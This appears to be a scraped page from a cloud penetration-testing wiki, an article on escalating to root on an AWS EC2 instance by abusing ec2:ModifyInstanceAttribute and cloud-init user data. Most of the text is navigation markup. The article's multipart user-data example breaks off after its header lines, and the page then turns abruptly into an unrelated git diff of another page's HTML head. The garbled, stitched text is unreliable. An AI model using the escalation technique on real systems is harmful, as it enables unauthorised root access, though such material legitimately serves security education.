md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#ec2modifyinstanceattribute class=md-nav__link> <span class=md-ellipsis> ec2:ModifyInstanceAttribute </span> </a> </li> <li class=md-nav__item> <a href=#leverage-scripts-in-s3 class=md-nav__link> <span class=md-ellipsis> Leverage scripts in S3 </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#ec2modifyinstanceattribute class=md-nav__link> <span class=md-ellipsis> ec2:ModifyInstanceAttribute </span> </a> </li> <li class=md-nav__item> <a href=#leverage-scripts-in-s3 class=md-nav__link> <span class=md-ellipsis> Leverage scripts in S3 </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/local_ec2_priv_esc_through_user_data.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>EC2 Privilege Escalation Through User Data</h1> <p>If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.</p> <h2 id=ec2modifyinstanceattribute>ec2:ModifyInstanceAttribute<a class=headerlink href=#ec2modifyinstanceattribute title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/modify-instance-attribute.html>ec2:ModifyInstanceAttribute</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 20v2.97h-2V20h-3v-2h3v-3h2v3h3v2zM12 1l9 4v6c0 .9-.1 1.78-.29 2.65A5.8 5.8 0 0 0 18 13a6 6 0 0 0-6 6c0 1.36.45 2.62 1.22 3.62L12 23c-5.16-1.26-9-6.45-9-12V5z"/></svg></span> <strong>Recommended but not Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/start-instances.html>ec2:StartInstances</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/start-instances.html>ec2:DescribeInstances</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/stop-instances.html>ec2:StopInstances</a></li> </ul> </li> </ul> </div> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://github.com/dagrz/aws_pwn/blob/master/elevation/bouncy_bouncy_cloudy_cloud.py>aws_pwn:elevation</a> by <a href=https://twitter.com/dagrz>Daniel Grzelak</a></p> </li> </ul> </div> <p>If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.</p> <p>Usually, user data scripts are only run the first time the instance is started, however this can be changed using <a href=https://aws.amazon.com/premiumsupport/knowledge-center/execute-user-data-ec2/ >cloud-init</a> to run every time the instance restarts.</p> <p>To do this, first create a file in the following format.</p> <div class=highlight><pre><span></span><code>Content-Type: multipart/mixed; boundary=&quot;//&quot;
 MIME-Version: 1.0
 
 --//
diff --git a/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html b/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html
index e7c4a0d2e..feccde4c8 100644
--- a/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html
+++ b/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted."><link href=https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ rel=canonical><link href=../local_ec2_priv_esc_through_user_data/ rel=prev><link href=../route53_modification_privilege_escalation/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>DNS and CloudFront Domain Takeover via Deleted S3 Buckets - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="DNS and CloudFront Domain Takeover via Deleted S3 Buckets - Hacking The Cloud"><meta property=og:description content="How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="DNS and CloudFront Domain Takeover via Deleted S3 Buckets - Hacking The Cloud"><meta property=twitter:description content="How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted."><link href=https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ rel=canonical><link href=../local_ec2_priv_esc_through_user_data/ rel=prev><link href=../route53_modification_privilege_escalation/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>DNS and CloudFront Domain Takeover via Deleted S3 Buckets - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="DNS and CloudFront Domain Takeover via Deleted S3 Buckets - Hacking The Cloud"><meta property=og:description content="How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="DNS and CloudFront Domain Takeover via Deleted S3 Buckets - Hacking The Cloud"><meta property=twitter:description content="How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
